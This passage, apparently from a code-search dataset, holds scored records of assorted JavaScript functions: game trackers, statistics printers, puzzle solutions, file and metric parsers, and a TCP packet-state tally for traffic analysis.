quantifier\n card_name = text_matches[match].split(\" \").slice(1).join(\" \");\n //plural words to singular\n card_name = pluralize_dominion(card_name);\n //create card in deck if it doesnt exist\n if (!(card_name in decks[text_match[1]])){\n decks[text_match[1]][card_name] = 0;\n }\n //pass card to player\n if (pass_test>0){\n target_player = text_match[3];\n if (!(card_name in decks[text_match[3]])){\n decks[text_match[3]][card_name] = 0;\n }\n //increment card in deck\n decks[text_match[3]][card_name]+=quantifier;\n } \n //change to negative for trashes or returns\n if (trash_test>0 || return_test>0 || pass_test>0){\n quantifier=quantifier*-1;\n }\n //increment card in deck\n decks[text_match[1]][card_name]+=quantifier;\n }\n\n }\n }\n }\n }\n // print out decks in a pretty way\n $(\"#tracker-div\").html(make_deck_html(decks));\n}", "title": "" }, { "docid": "bdd15fd701c51b453632c11a391b1291", "score": "0.48584017", "text": "function generateSummary(args) {\n // {foundTags, unmatchedTags, untranslated, translated, countExisting, langCode}\n var current = Object.keys(args.foundTags).length;\n var orphans = Object.keys(args.unmatchedTags).length;\n var untranslated = Object.keys(args.untranslated).length;\n var translated = Object.keys(args.translated).length;\n var total = untranslated + translated + orphans;\n var percent = Math.round(translated / current * 100);\n var existingUntranslated = args.countExisting - translated;\n if (!args.metricsOnly) {\n console.log(current + ' strings found.');\n console.log(' ' + args.countExisting + ' existing items match.');\n console.log(' ' + translated + ' existing translations match.');\n console.log(' ' + existingUntranslated + ' existing untranslated items.');\n console.log(' ' + (current - args.countExisting) + ' new items added.');\n console.log(percent + '% of found strings translated.');\n console.log(orphans + ' unused, outdated, or extra items.');\n console.log('Updated file (' + args.langCode + '.js) with ' + total + ' items.');\n }\n return {\n percent: percent, orphans: orphans, total: total, untranslated: untranslated,\n current: current, translated: translated, language: args.langCode\n };\n }", "title": "" }, { "docid": "e7c906404c73e0d4ff5687287504b393", "score": "0.48497972", "text": "function statsConclusion() {\n swlog.logTaskEnd(opStart);\n // did not use multiline string for formatting reasons\n let str = '';\n str += `\\nComponents ${'converted'}: ${componentStats.numConverted}/${componentStats.total}`;\n str += `\\nComponents ${'documented'}: ${componentStats.numDocumented}/${componentStats.total}`;\n str += `\\nComponents ${'skipped'}: ${componentStats.numSkipped}/${componentStats.total}`;\n str += `\\nComponents ${'written'}: ${componentStats.numWritten}/${componentStats.total}`;\n if (numArchivesSent === 0) {\n str += `\\n\\nBundles ${'deployed'}: ${numArchivesSent}/1`;\n } else {\n str += `\\n\\nBundles ${'deployed'}: ${numArchivesSent}/1`;\n }\n str += '\\n';\n console.log(str);\n}", "title": "" }, { "docid": "b97f6fb66537515953fb46d854df192e", "score": "0.48496178", "text": "function createLCDText(info){\n var infoArray = info;\n //console.log(infoArray);\n //[0] stores instruction or done\n //[1] stores the console#\n //[2] stores progress\n //[3] stores life\n //[4] stores the output\n\n\n\n\n infoArray[2] = populate(\"Progress: \"+ progress+\"%\",0);\n infoArray[3] = populate(\"Group Lives: \"+ lives,0);\n \n var pIns = populate(infoArray[0],1);\n \n infoArray[4] = infoArray[2]+infoArray[3]+pIns;\n\n if(infoArray[4].length == 60){\n \n infoArray[4] = infoArray[4] + populate(\" \",1)\n }\n return infoArray;\n}", "title": "" }, { "docid": "477646dc638bf47f3657f8cbef520129", "score": "0.48470533", "text": "function progress_update_det_summary(progress) {\n // Variables that contains a map of\n let det_job_progress = {};\n let running_detid = 65536; // Some impossible id number.\n\n // Calculating the summary percentage.\n for (const tag in progress) {\n for (const detid in progress[tag]) {\n const progress_code = progress[tag][detid];\n\n // Creating tally entry if it doesn't already exists.\n if (!(detid in det_job_progress)) {\n det_job_progress[detid] = [0, 0];\n }\n\n // Updating the status detector tally\n ++det_job_progress[detid][0];\n if (progress_code == CMD_RUNNING) {\n running_detid = detid;\n } else if (progress_code == CMD_COMPLETE) {\n ++det_job_progress[detid][1];\n }\n\n // Updating the text based detector information.\n var element = $(`#single-det-summary-${detid}`).find(`#process-${tag}`);\n element.css('background-color', progress_color(progress_code));\n element.html(progress_status_string(progress_code));\n }\n }\n\n for (const detid in board_layout.detectors) {\n if (String(detid) == String(running_detid)) {\n $(`#tile-layout-${detid}`).css('fill', 'yellow');\n } else if (detid in det_job_progress) {\n const total = det_job_progress[detid][0];\n const comp = det_job_progress[detid][1];\n const base_color = `#00FF00`;\n const lighten = (200.0 * (total - comp)) / total;\n $(`#tile-layout-${detid}`).css(\n 'fill',\n hex_lumi_shift(base_color, lighten),\n );\n }\n }\n}", "title": "" }, { "docid": "b4fe0fed162b0c6714a9b05a33c74b5d", "score": "0.48465863", "text": "print_items() {\n var result = this._ride;\n for (var i=1; i<result.length; i++) {\n for (var key in result[i-1].item) {\n if (result[i-1].item[key] === 0) delete result[i-1].item[key];\n }\n var str = \"\";\n for(var key in result[i-1].item) {\n var num = result[i-1].item[key];\n if (num > 1) str += `${num} ${key}s, `;\n else str += `${num} ${key}, `;\n }\n str = str.slice(0, -2);\n var oneOutput = moment(result[i-1].time).format('hh:mm') + \"-\" + moment(result[i].time).format('h:mm') + \" -> \" + str;\n this._output.push(oneOutput);\n console.log(oneOutput);\n }\n return;\n }", "title": "" }, { "docid": "a62b34c4d5aa1b39788d7bdd620f7c78", "score": "0.48332953", "text": "summary() {\n return this.distance() + ' meters ' + this.numberOfTurns() + ' turns';\n }", "title": "" }, { "docid": "1ffaa5e73e2a27334a0f4b31d48ae313", "score": "0.48327076", "text": "function main() {\n var n = parseInt(readLine());\n var stair = [];\n var hashes = '####################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################';\n var spaces = ' ';\n\n for (jj = 0; jj < n; jj++) {\n console.log(spaces.substr(0,n-jj-1).concat(hashes.substr(0,jj+1)));\n }\n}", "title": "" }, { "docid": "520a43570cb4e8f7c520bc1447031560", "score": "0.48272198", "text": "createOrderSummary(timePurpose, timeAmount, timeUnit) {\n // Convert time purpose to lower case for case insensitive searches\n const text = timePurpose.toLowerCase()\n\n // Search for to 'to', 'for' and 'ing'\n const containsTo = text.includes('to')\n const containsFor = text.includes('for')\n const containsIng = text.includes('ing')\n\n // Convert time\n const timeString = this.humanizeTime(\n this.response.timeAmount,\n this.response.timeUnit\n )\n\n // 1. Text contains the prepositions 'to' or 'for'\n let preposition\n\n if (containsTo || containsFor) {\n // If both preposition exist, take the first one in the sentence\n if (containsTo && containsFor) {\n preposition = text.indexOf('to') < text.indexOf('for') ? 'to' : 'for'\n } else {\n preposition = containsTo ? 'to' : 'for'\n }\n }\n\n if (preposition) {\n // Return [timeAmount] [timeUnit] + to / for + everything after preposition\n return `${timeString} ${timePurpose.substring(\n text.indexOf(preposition),\n text.length\n )}`\n }\n\n // 2. Text contains no prepositions but a verb in gerundium form 'ing'\n if (containsIng) {\n // Find the index of the word with ing\n const wordIndex = text.slice(0, text.indexOf('ing') + 3).search(/\\S+$/)\n // Include everything from the word with 'ing' to the end\n return `${timeString} for ${timePurpose.substring(\n wordIndex,\n text.length\n )}`\n }\n\n // 3. Neither a preposition nor a gerundium\n // First letter of timePurpose in lower case\n return `${timeString} to ${\n timePurpose.charAt(0).toLowerCase() + timePurpose.slice(1)\n }`\n }", "title": "" }, { "docid": "70c7ef03600716f45cbaa34af3d9ac23", "score": "0.4821822", "text": "function main2() {\n\tlet output\n\tlet input = getIn()\n\tlet groups = input.split(\"\\n\\n\")\n\tgroups = groups.map(x=>{\n\t\tlet splits = x.split(\"\\n\")\n\t\tlet num = splits.length\n\t\tlet oneline = splits.join(\"\")\n\t\toneline = oneline.split(\"\")\n\t\toneline.sort()\n\t\toneline = oneline.join(\"\")\n\t\tlet allYesQs = oneline.match(/(\\w)\\1*/g)\n\t\treturn allYesQs.filter(x=>x.length == num).length\n\t})\n\n\toutput = groups.reduce(sumAll)\n\tdisplayOut(2, output)\n}", "title": "" }, { "docid": "365ab91553b2a58e9615d80c26bce59e", "score": "0.48204285", "text": "function unpackSausages(truck) {\n return truck.flat()\n .filter(s => /\\[(.)\\1{3}\\]/.test(s))\n .filter((_, i) => i === 0 || (i + 1) % 5 !== 0)\n .flatMap(s => s.slice(1, 5).split(\"\"))\n .join(\" \");\n}", "title": "" }, { "docid": "f4bb9a8ef298ee0d3f45db175c90c67d", "score": "0.4818803", "text": "function partOne() {\n console.log('\\n\\nPart 1:\\n');\n findNumberOfTreesEncountered(3, 1);\n console.log('\\n====================');\n}", "title": "" }, { "docid": "d49ef5a8c6a3b8dbc54dfca1f1749e26", "score": "0.4816762", "text": "function parseCleaningSummary(response) {\n response = response.result;\n return {\n clean_time: response[0], // in seconds\n total_area: response[1], // in cm^2\n num_cleanups: response[2],\n cleaning_record_ids: response[3], // number[]\n };\n}", "title": "" }, { "docid": "05c94385402a8464e3851cdeeaab56c2", "score": "0.48132813", "text": "function showCmdUsage() {//{{{\n let arr = new Array();\n let rows = new Array();\n let count = 0;\n let fromDate = cmdStatsDate.get(\"date\");\n for (let [k, v] in cmdStats) {\n count += v;\n arr.push({key:k, value:v});\n }\n\n arr.sort(function(a, b) a.value < b.value);\n liberator.dump(\"====== Command Usage Statistics since \" + fromDate + \" =======\");\n for ([, elem] in Iterator(arr)) {\n let percent = (100 * elem.value / count).toFixed(2) + \" %\";\n rows.push([elem.key, elem.value, percent]);\n liberator.dump(elem.key, elem.value, percent);\n }\n liberator.dump(\"======= End of Command Usage Statistics ========\");\n\n let list = template.tabular( [\n { header: \"Command\", style: \"text-align: left\" },\n { header: \"Count\", style: \"text-align: right\" },\n { header: \"Percentage since \" + fromDate, style: \"text-align: center\" }],\n rows);\n liberator.echo(list, commandline.HL_NORMAL, commandline.FORCE_MULTILINE);\n}//}}}", "title": "" }, { "docid": "da0d7a3b03cf90695f8c6fbd55c45c6f", "score": "0.48122418", "text": "function getStats(txt) {\r\n\t\r\n\tlet words = arrayFilter(txt.split(/\\W+/));\r\n\tlet lines = txt.split(/\\n/);\r\n\tlet nNElines = arrayFilter(lines);\r\n\tlet lowerCase = toLowerWithoutRep(words);\r\n\treturn {\r\n\t\tnChars: txt.length,\r\n\t\tnWords: words.length, \r\n\t\tnLines: lines.length,\r\n\t\tnNonEmptyLines: nNElines.length,\r\n\t\tmaxLineLength: maxLine(lines),\r\n\t\taverageWordLength: averageLength(words),\r\n\t\tpalindromes: checkPalin(lowerCase),\r\n\t\tlongestWords: findLongest(lowerCase),\r\n\t\tmostFrequentWords: findMostFreq(words)\r\n\t};\r\n}", "title": "" }, { "docid": "be47e7abf9537af5553e3cb312ad423e", "score": "0.48083958", "text": "function graph(ps, result){\n var graph;\n graph = \"=========================================================\\n\";\n graph = graph + \"|\\tProcess Name\\tWaiting Time\\tTurnaround Time\\t|\\n\";\n graph = graph + \"=========================================================\\n\";\n for(i in ps){\n graph = graph + \"\\t\"+ps[i].name + \"\\t\\t\" + result.waitingTime[i]+\"\\t\\t\" +result.turnaroundTime[i] +\"\\t\\n\"; \n }\n graph = graph + \"\\n\\nAvrage Waiting Time = \"+ result.AvrgTime + \"\\n\";\n graph = graph + \"Avrage Turnaround Time = \"+ result.AvrgturnTime + \"\\n\";\n return graph;\n}", "title": "" }, { "docid": "06a34326aa03463805af5060c03560f7", "score": "0.48053214", "text": "buildStringTable(measurements) {\n let commonTags = this.registry.commonTags;\n let table = {};\n\n for (let [key, value] of commonTags) {\n table[key] = 0;\n table[value] = 0;\n }\n table.name = 0;\n\n for (let m of measurements) {\n table[m.id.name] = 0;\n\n for (let [k, v] of m.id.tags) {\n table[k] = 0;\n table[v] = 0;\n }\n }\n let keys = Object.keys(table);\n keys.sort();\n keys.forEach((v, idx) => {\n table[v] = idx;\n });\n return table;\n }", "title": "" }, { "docid": "fa52d2976a7c484c5df7c3f92c813661", "score": "0.47993654", "text": "parseOutput() {\n // order the term list by their deeps, the terms with most general concept goes into the front\n let orderedTermList = this.termList.sort((a, b) => {\n return this.get(b).filter(value => this.termList.includes(value['term'])).length\n - this.get(a).filter(value => this.termList.includes(value['term'])).length\n });\n\n // generate the result using data's termList\n const result = {};\n orderedTermList.forEach(term => {\n result[term] = this.getTermValue(term);\n });\n return result;\n }", "title": "" }, { "docid": "884e32b86ad9222044088173ebe032c4", "score": "0.47960016", "text": "e13() {\n const data13 = require('./p13_data');\n // filter out the first line which is undefined and remove whitespace (see data.js)\n const numbers = data13.split(/\\n/g).filter(x => x).map(x => x.trim());\n let sum = 0;\n for (let position = 0; position < 50; position++) {\n sum += sumNthDigits(position);\n const first10DigitsCurrent = sum.toString(10).substring(0, 10);\n // shift the sum left to prepare for the sum of next 100 digits\n sum *= 10;\n // determine if the sum of the next 100 digits can affect the first 10 digits\n // ie. consider all the digits at the next position are 9s\n const maxValueForNextPosition = sum + 900;\n const first10DigitsNext = maxValueForNextPosition.toString(10).substring(0, 10);\n if (first10DigitsCurrent === first10DigitsNext) {\n return +(first10DigitsCurrent);\n }\n }\n\n function sumNthDigits(n) {\n return numbers.map(num => +(num[n])).reduce((acc, curr) => acc + curr, 0);\n }\n }", "title": "" }, { "docid": "a340c6efae3814b5b35dada85a447131", "score": "0.47943857", "text": "function question1() {\n fs.readFile(\"./adventOfCode.txt\", (err, data) => {\n console.time(\"santa-time\");\n if (err) {\n console.log(\"error\");\n return \n }\n const directions = data.toString();\n const directionsArray = directions.split(\"\");\n //console.log(directionsArray);\n\n const answer = directionsArray.reduce((acc, currentValue) => {\n if (currentValue === \"(\") {\n return acc += 1\n } else if (currentValue == \")\") {\n return acc -= 1\n }\n }, 0)\n console.log(\"floor: \", answer);\n console.timeEnd(\"santa-time\");\n })\n}", "title": "" }, { "docid": "1a43f09c8e6ee8af9f3538d056106b14", "score": "0.47894955", "text": "stats() {\n return {\n total: this.total,\n perSecond: this.perSecond.total(),\n perSecondAvg: this.perMinute.total() / 60,\n perMinute: this.perMinute.total(),\n perMinuteAvg: this.per10Minutes.total() / 10,\n perHour: this.perHour.total(),\n topHashes: this.topKHashes.values(),\n topDomains: this.topKDomains.values(),\n topEmojis: this.topKEmojis.values(),\n tweetsWithEmojisPercentage: this.tweetEmojiCount / this.total,\n tweetsWithPhotosPercentage: this.tweetPhotoCount / this.total,\n tweetsWithUrlPercentage: this.tweetUrlCount / this.total,\n };\n }", "title": "" }, { "docid": "01f0005733cead8b8cf649f668281646", "score": "0.47891617", "text": "function calculateStatistics() {\r\n app.statistics = {1: {}, 2: {}}; \r\n var parameters = [\"tasktime\", \"satisfaction\"]; //, \"completed\"];\r\n //var markers = app.markers.codes();\r\n var markers = [\"WRONG\", \"IRRITATION\", \"LOST\", \"INBOX-VIEW\", \"ADRESSBOOK\", \"completed\"];\r\n \r\n app.tasks.each(function (task) {\r\n if (task.get(\"project_id\") == app.project_id) {\r\n for (var i = 1; i<3; i++) {\r\n app.statistics[+i][task.get(\"id\")] = {}; \r\n $.each(markers, function (j, marker) {\r\n app.statistics[+i][task.get(\"id\")][marker] = utilinterval(_.map(app.passes.where({\r\n task_id: task.get(\"id\"),\r\n prototype_id: i\r\n }), function(m) { \r\n if (marker!=\"completed\") {\r\n return +m.get(\"markercounts\")[marker]; \r\n } else { return +m.get(\"completed\"); }\r\n })\r\n );\r\n });\r\n \r\n $.each(parameters, function (j, parameter) {\r\n switch (parameter) {\r\n case \"tasktime\": \r\n app.statistics[i][task.get(\"id\")][parameter] = {\r\n mean: ss.geometric_mean(utilpluck(parameter, i, task.get(\"id\"))),\r\n interval: ss.standard_deviation(utilpluck(parameter, i, task.get(\"id\"))) / Math.sqrt(utilpluck(parameter, i, task.get(\"id\")).length)\r\n }; break;\r\n case \"satisfaction\": \r\n app.statistics[i][task.get(\"id\")][parameter] = {\r\n mean: ss.mean(utilpluck(parameter, i, task.get(\"id\"))),\r\n interval: ss.standard_deviation(utilpluck(parameter, i, task.get(\"id\"))) / Math.sqrt(utilpluck(parameter, i, task.get(\"id\")).length)\r\n }; break;\r\n }});\r\n \r\n }; //end for\r\n }; // end if\r\n });\r\n}", "title": "" }, { "docid": "0414beba13672a463648bc64911ed665", "score": "0.47875684", "text": "function GetTrialInfo() {\t\n\t//Read in variables of importance (must be in the order in which they appear in the log!)\n\tlevelName = logReadScript.findValue(\"level: \");\n\tif (levelName==\"GridHuge\") {\n\t\tlevelName = \"MultiGrid\";\n\t}\n\t//object folders\n\tobjectSize = parseFloat(logReadScript.findValue(\"objectSize: \"));\n\tvar newline = logReadScript.findValue(\"category: \");\t\n\tvar newArray = logReadScript.splitString(newline,\": \\t\");\n\tcategories.Push(newArray[0]);\n\tnewArray[2] = \"category\";\n\twhile (newArray[2]==\"category\") {\n\t\t// Parse line (example: MSG\\t70\\tcategory: car_side state: Distractor prevalence: 0.25)\n\t\tnewline = logReadScript.readLine(); \n\t\tnewArray = logReadScript.splitString(newline,\": \\t\"); //split using delimiters\t\t\n\t\tcategories.Push(newArray[4]); // category name\n\t}\n\t\n\t//pixAround = parseFloat(findValue(\"pixAround: \"));\n\toffset_x = parseFloat(logReadScript.findValue(\"offset_x: \"));\n\toffset_y = parseFloat(logReadScript.findValue(\"offset_y: \"));\n\tgain_x = parseFloat(logReadScript.findValue(\"gain_x: \"));\n\tgain_y = parseFloat(logReadScript.findValue(\"gain_y: \"));\t\n\tyield; //inform the calling function that we're done\n}", "title": "" }, { "docid": "882f59b2530dd0c7858566c7076ffe5e", "score": "0.47825587", "text": "function guardsleeptime(data){\n let total= {} // the organised total data with guard id, and minuteds\n data.forEach((element,index)=>{\n if(element.indexOf('#')>0){\n const dutyDate = data[index+1].substring(6,12)\n const guardIndex = element.substring(element.indexOf(\"#\"),element.indexOf('b'))\n total[dutyDate]=[]\n total[dutyDate].push(guardIndex)\n } \n else if (element.indexOf('f')>0){\n const timetosleep = element.substring(element.indexOf(':')+1,element.indexOf(':')+3)*1\n // console.log(typeof timetosleep)\n const timetowake = data[index+1].substring(element.indexOf(':')+1,element.indexOf(':')+3)\n // console.log(timetowake)\n const sleepminutes = minutes.slice(timetosleep-1,timetowake-1)\n // console.log(sleepminutes)\n const dutyDate2 = data[index+1].substring(6,12)\n total[dutyDate2].push(...sleepminutes)\n }\n\n })\n // console.log(total)\n return total\n}", "title": "" }, { "docid": "b7f957e1deb9ff37c6bb1be85a32255b", "score": "0.47804147", "text": "function formatData2(data){ \n var syllDict={};\n var lines = data.toString().split(\"\\n\"),\n lineSplit\n lines.forEach(function(line){ \n\t lineSplit = line.split(\" \"); \n\t if(lineSplit[1]!=undefined){ \n\t\t var phonemes=lineSplit[1].split(\" \");\n\t\t var word=lineSplit[0];\n\t\t var syllCount=0; // \n\t\t for(var i=0;i<phonemes.length;i++){\n\t\t\t if(phonemes[i].match(/\\d/)){\n\t\t\t \t\tsyllCount++;\n\t\t\t }\n\t\t\t }\n\t\t}\n\t syllDict[word]=syllCount;\n }); \n return syllDict; \n}", "title": "" }, { "docid": "5d6fdf6331a9f55704038e8d46d1cf0b", "score": "0.47801194", "text": "function daggersAndSwords(arr) {\n\tarr = arr.map(x => Math.floor(Number(x)))\n\t\t.filter(x => x !== '' && x !== undefined && x > 10 );\n\tconsole.log('<table border=\"1\">\\n' +\n\t\t\t'<thead>\\n' +\n\t\t\t'<tr><th colspan=\"3\">Blades</th></tr>\\n' +\n\t\t\t'<tr><th>Length [cm]</th><th>Type</th><th>Application</th></tr>\\n' +\n\t\t\t'</thead>\\n' +\n\t\t\t'<tbody>');\n\tfor (let e of arr) {\n\t\tconsole.log('<tr><td>' + e + '</td><td>' + checkType(e) + '</td><td>' + checkIndex(e) + '</td></tr>');\n\n\t}\n\tconsole.log('</tbody>\\n' +\n\t\t\t'</table>');\n\t\n\tfunction checkType(len) {\n \tif (len > 40) {\n \t\treturn 'sword';\n\t\t} \n \treturn 'dagger';\n }\n\t\n\tfunction checkIndex(len) {\n\t\tlen = len % 5;\n \tswitch (len) {\n\t\tcase 1 || 6:\n\t\t\treturn 'blade';\n\t\tcase 2 || 7:\n\t\t\treturn 'quite a blade';\n\t\tcase 3 || 8:\n\t\t\treturn 'pants-scraper';\n\t\tcase 4 || 9:\n\t\t\treturn 'frog-butcher';\n\t\tcase 0:\n\t\t\treturn '*rap-poker';\n \t}\n }\n}", "title": "" }, { "docid": "7e24b914b7d8025dd10867630c9e5817", "score": "0.47728822", "text": "function getHeadLossValues() {\n var height_min = 0.0833333333; // 1in in ft\n var height_max = 15; // in ft\n\n var flow = calc_flow(); // in GPM\n var length = getDistance(); // in m\n length *= factor_m2ft; // m -> ft\n\n // calculate the pipe diameter range to use\n var exp = 1 / 4.87;\n var coef = 0.00113 * length * Math.pow(flow, 1.85);\n var d_max = Math.pow(coef / height_min, exp);\n var d_min = Math.pow(coef / height_max, exp);\n\n var head_loss = []; // array of pairs\n var diam, height, index = 0; // pipe diameter in inches\n // find height,diam pairs in increments of 0.05 inches\n for (var diam = d_min; diam < d_max; diam += 0.05) {\n height = coef / Math.pow(diam, 4.87);\n\n // convert height to current unit\n height /= factor_m2ft; // ft -> m\n height *= unit_m[current_unit]; // to current\n\n height = roundToFixed(height, 2);\n diam = roundToFixed(diam, 2);\n\n // store value\n head_loss[index] = [diam, height]; // (x,y) pair\n index += 1;\n }\n\n return head_loss;\n}", "title": "" }, { "docid": "c3188857521ca00fa43b19ded2967609", "score": "0.47726846", "text": "function main() {\n\tvar line;\n\tvar i;\n\n\tfor ( i = 0; i < fields.length; i++ ) {\n\t\t// List indentation:\n\t\tline = INDENTATION;\n\n\t\t// List marker:\n\t\tline += '- ';\n\n\t\t// Metric name (in bold):\n\t\tline += '**' + fields[ i ][ 0 ] + '**';\n\n\t\t// Definition separator:\n\t\tline += ':';\n\n\t\t// Definition:\n\t\tline += ' ' + fields[ i ][ 2 ] + '.';\n\n\t\tconsole.log( line ); // eslint-disable-line no-console\n\t}\n}", "title": "" }, { "docid": "836174b7bd7165a9cc477887fe5ef0fe", "score": "0.47723663", "text": "function main() {\n // let n = parseInt(readLine());\n // let ar = readLine().split(' ').map(Number);\n\n let n = 100, ar = \"63 25 73 1 98 73 56 84 86 57 16 83 8 25 81 56 9 53 98 67 99 12 83 89 80 91 39 86 76 85 74 39 25 90 59 10 94 32 44 3 89 30 27 79 46 96 27 32 18 21 92 69 81 40 40 34 68 78 24 87 42 69 23 41 78 22 6 90 99 89 50 30 20 1 43 3 70 95 33 46 44 9 69 48 33 60 65 16 82 67 61 32 21 79 75 75 13 87 70 33\".split(' ').map(Number);\n\n let output = Array(100).fill(0);\n for(let i in ar) {\n output[ar[i]]++;\n }\n\n console.log(output.join(' '));\n\n}", "title": "" }, { "docid": "e6a763c089adb01afd0530a3bb76ca40", "score": "0.47687373", "text": "async postParsingAnalysis () {\n /*\n console.log('Packets in SYN state:', this.results.nrOfPacketsInSynState / this.results.nrOfTransportPackets * 100)\n console.log('Packets in SYN/ACK state:', this.results.nrOfPacketsInSynAckState / this.results.nrOfTransportPackets * 100)\n console.log('Packets in FIN state:', this.results.nrOfPacketsInFinState / this.results.nrOfTransportPackets * 100)\n console.log('Packets in FIN/ACK state:', this.results.nrOfPacketsInFinAckState / this.results.nrOfTransportPackets * 100)\n console.log('Packets presumable in established state:', this.results.nrOfPacketsInRemainingStates / this.results.nrOfTransportPackets * 100)\n */\n var fileName = `${this.baseOutPath}-synfloodanalysis.json`\n var fileContent = {\n piechart: {\n datasets: [{\n backgroundColor: ['#DB0071', '#005FD0', '#b967ff', '#fffb96', '#05ffa1'],\n data: [\n this.results.nrOfPacketsInSynState,\n this.results.nrOfPacketsInSynAckState,\n this.results.nrOfPacketsInFinState,\n this.results.nrOfPacketsInFinAckState,\n this.results.nrOfPacketsInRemainingStates\n ]\n }],\n labels: ['SYN', 'SYN/ACK', 'FIN', 'FIN/ACK', 'Other']\n }\n }\n var summary = {\n fileName: fileName,\n attackCategory: 'SYN-Flood',\n analysisName: 'State of TCP packets',\n supportedDiagrams: ['PieChart']\n }\n return await this.storeAndReturnResult(fileName, fileContent, summary)\n }", "title": "" }, { "docid": "fc8f65b77b295ecfbc7f85291b118847", "score": "0.47667688", "text": "function getExtractionMetrics (bStream){\n\t\tvar tmp = BinUtils.readUint8(bStream,2);\n\t\tvar version = tmp[0];\n\t\tvar recLen = tmp[1];\n\t\tdump(\"Parsing ExtractionMetrics\" + '\\n');\n\t\t//dump(\"File version: \" + version + ' ');\n\t\t//dump(\"Record length: \" + recLen + '\\n');\n\t\tvar data = [];\n\t\tvar bytesAvailable = bStream.available();\n\t\twhile ( bytesAvailable > 0 ){\n\t\t\tvar rec = {};\n\t\t\trec.itype = 'extraction_metric';\n\t\t\tvar u = new Uint8Array(bStream.readByteArray(6));\n\t\t\tvar tmp = new Uint16Array(u.buffer,0,3);\n\t\t\trec.lane = tmp[0];\n\t\t\trec.tile = tmp[1];\n\t\t\trec.cycle = tmp[2];\n\t\t\t//dump(\"Lane \" + rec.lane + ' ');\n\t\t\t//dump(\"Tile \" + rec.tile + ' ');\n\t\t\t//dump(\"Cycle \" + rec.cycle + '\\n');\n\t\t\tvar u = new Uint8Array(bStream.readByteArray(16));\n\t\t\tvar tmp = new Float32Array(u.buffer,0,4);\n\t\t\trec.fwhmA = tmp[0];\n\t\t\trec.fwhmC = tmp[1];\n\t\t\trec.fwhmG = tmp[2];\n\t\t\trec.fwhmT = tmp[3];\n\t\t\t//dump(\"fwhmA \" + rec.fwhmA + ' ');\n\t\t\t//dump(\"fwhmC \" + rec.fwhmC + ' ');\n\t\t\t//dump(\"fwhmG \" + rec.fwhmG + ' ');\n\t\t\t//dump(\"fwhmT \" + rec.fwhmT + '\\n');\n\t\t\tu = new Uint8Array(bStream.readByteArray(8));\n\t\t\ttmp = new Uint16Array(u.buffer,0,4);\n\t\t\trec.intA = tmp[0];\n\t\t\trec.intC = tmp[1];\n\t\t\trec.intG = tmp[2];\n\t\t\trec.intT = tmp[3];\n\t\t\t//dump(\"intA \" + rec.intA + ' ');\n\t\t\t//dump(\"intC \" + rec.intC + ' ');\n\t\t\t//dump(\"intG \" + rec.intG + ' ');\n\t\t\t//dump(\"intT \" + rec.intT + ' ');\n\t\t\trec.cifDate = BinUtils.readHexString(bStream,8);\n\t\t\t//dump(\"CIF date \" + rec.cifDate + '\\n');\n\t\t\tdata.push(rec);\n\t\t\tbytesAvailable -= (BinUtils.UINT16 * 7 + BinUtils.UINT32 * 4 + 8);\n\t\t}\n\t\treturn data;\n\t}", "title": "" }, { "docid": "a12441f2f89fef2d8a0bbc929eac19e6", "score": "0.4764035", "text": "function finalOutPut() {\n let sortedFinal = _.sortBy(final, 'comments').reverse();\n //maxLength is used for leftPad \n var maxLength = \"\";\n progressBar.update(100);\n\n //prints the people and their comment/commit info from the final array\n sortedFinal.forEach(function (person) {\n if (maxLength == \"\") {\n console.log('\\n');\n maxLength += (person.comments + \"\").length\n let result = person.comments + \" comments, \" + person.name + \" (\" + person.commits + \" commits)\";\n console.log(result);\n } else {\n let comLength = maxLength - (person.comments + \"\").length\n let result = leftPad(person.comments, comLength + 1) + \" comments, \" + person.name + \" (\" + person.commits + \" commits)\";\n console.log(result);\n };\n });\n progressBar.stop();\n}", "title": "" }, { "docid": "9326bad288a53ab99663affc9df0ec2f", "score": "0.47633445", "text": "function question1(){\n fs.readFile('./santas_helper.txt', (err, data) => {\n console.time(\"instructor's part 1 solution\");\n const directions = data.toString();\n const directionsArray = directions.split('');\n const answer = directionsArray.reduce((acc, currentValue) => {\n if(currentValue === '(') {\n return acc += 1;\n } else if(currentValue === ')') {\n return acc -= 1;\n }\n }, 0);\n console.log(\"floor:\", answer);\n console.timeEnd(\"instructor's part 1 solution\");\n });\n}", "title": "" }, { "docid": "407a5335ae0354b5555f33ffba2efedf", "score": "0.47632763", "text": "function printanalysis( list ) {\n var analysis = [];\n Object.keys(list).forEach(function( k ) {\n analysis.push([k, list[k].cnt, list[k].pts, (list[k].cnt/result.length)*100, (list[k].pts / list[k].cnt) ]);\n });\n printjson(analysis);\n}", "title": "" }, { "docid": "c28a55ce158ecf3a5421748f280e1442", "score": "0.47567785", "text": "function parse_w(str, o) {\n //o.uptime = str; // Simple Processing\n // w: var lines = str.split(\"\\n\");\n //if (m = str.match(/(\\d+)\\s+users?/)) { o.numusers = parseInt(m[1]); }\n var arr = str.split(/,\\s+load average:\\s+/);\n o.uptime = arr[0];\n o.loads = arr[1];\n if (o.uptime) { o.uptime = o.uptime.replace(/^\\s+\\d{2}:\\d{2}:\\d{2}\\s+up/, \"\"); }\n 